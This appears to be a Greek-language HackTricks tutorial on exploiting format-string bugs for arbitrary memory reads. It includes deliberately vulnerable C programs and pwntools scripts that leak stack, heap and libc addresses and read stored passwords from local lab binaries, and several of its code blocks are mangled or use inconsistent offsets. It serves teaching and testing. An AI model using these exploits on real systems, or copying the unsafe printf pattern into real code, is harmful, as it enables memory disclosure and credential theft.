Format Strings - Arbitrary Read Example

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ανάγνωση Binary — Έναρξη

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Μεταγλωττίστε το με:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Το offset είναι 11 γιατί τοποθετώντας αρκετά As και κάνοντας brute-forcing με ένα loop (offsets από 0 έως 50) βρέθηκε ότι στο offset 11 και με 5 επιπλέον χαρακτήρες (pipes | στην περίπτωσή μας), είναι δυνατόν να ελέγξεις ένα πλήρες address.
  • Χρησιμοποίησα %11$p με padding μέχρι το address να γίνει 0x4141414141414141
  • Το format string payload είναι ΠΡΙΝ από το address επειδή το printf σταματάει να διαβάζει σε ένα null byte, οπότε αν στείλουμε πρώτα το address και μετά το format string, το printf δεν θα φτάσει ποτέ στο format string καθώς θα βρεθεί ένα null byte πριν
  • Το address που επιλέχθηκε είναι 0x00400000 επειδή εκεί ξεκινάει το binary (no PIE)

Ανάγνωση passwords

Ευάλωτο binary με passwords στο stack και στο BSS ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

Μεταγλωττίστε το με:
```bash
clang -o fs-read fs-read.c -Wno-format-security

Ανάγνωση από το stack

Το stack_password θα αποθηκευτεί στο stack επειδή είναι τοπική μεταβλητή, οπότε αρκεί να εκμεταλλευτούμε την printf για να εμφανίσουμε το περιεχόμενο του stack. Αυτό είναι ένα exploit για να BF τις πρώτες 100 θέσεις ώστε να leak τα passwords από το stack:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Στην εικόνα φαίνεται ότι μπορούμε να leak το password από το stack στη θέση 10th:

Ανάγνωση δεδομένων

Τρέχοντας το ίδιο exploit αλλά με %p αντί για %s είναι δυνατόν να leak ένα heap address από το stack στο %25$p. Επιπλέον, συγκρίνοντας το leaked address (0xaaaab7030894) με τη θέση του password στη μνήμη σε εκείνη τη διαδικασία μπορούμε να υπολογίσουμε τη διαφορά των addresses:

Τώρα ήρθε η ώρα να βρούμε πώς να ελέγξουμε 1 address στο stack ώστε να το προσπελάσουμε από το δεύτερο format string vulnerability:

Εύρεση ελέγξιμου stack address ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

Και είναι δυνατό να δει κανείς ότι στο **try 14**, με το passing που χρησιμοποιήθηκε, μπορούμε να ελέγξουμε μια διεύθυνση:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

Αυτοματοποίηση της ανακάλυψης του offset

Όταν το stack layout αλλάζει σε κάθε run (full ASLR/PIE), το bruteforcing των offsets χειροκίνητα είναι αργό. pwntools παρέχει FmtStr για να εντοπίσει αυτόματα το argument index που φτάνει στο controlled buffer μας. Η lambda θα πρέπει να επιστρέφει την έξοδο του προγράμματος μετά την αποστολή του candidate payload. Σταματά μόλις μπορεί αξιόπιστα να corrupt/observe memory.

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

You can then reuse offset to build arbitrary read/write payloads with fmtstr_payload, avoiding manual %p fuzzing.

PIE/libc leak και στη συνέχεια arbitrary read

Σε σύγχρονα binaries με PIE και ASLR, πρώτα leak οποιονδήποτε libc pointer (π.χ. __libc_start_main+243 ή setvbuf), υπολογίστε bases, και μετά τοποθετήστε τη διεύθυνση-στόχο σας μετά το format string. Αυτό εμποδίζει το %s να κοπεί από null bytes μέσα στον pointer.

Leak libc and read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## Αναφορές

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>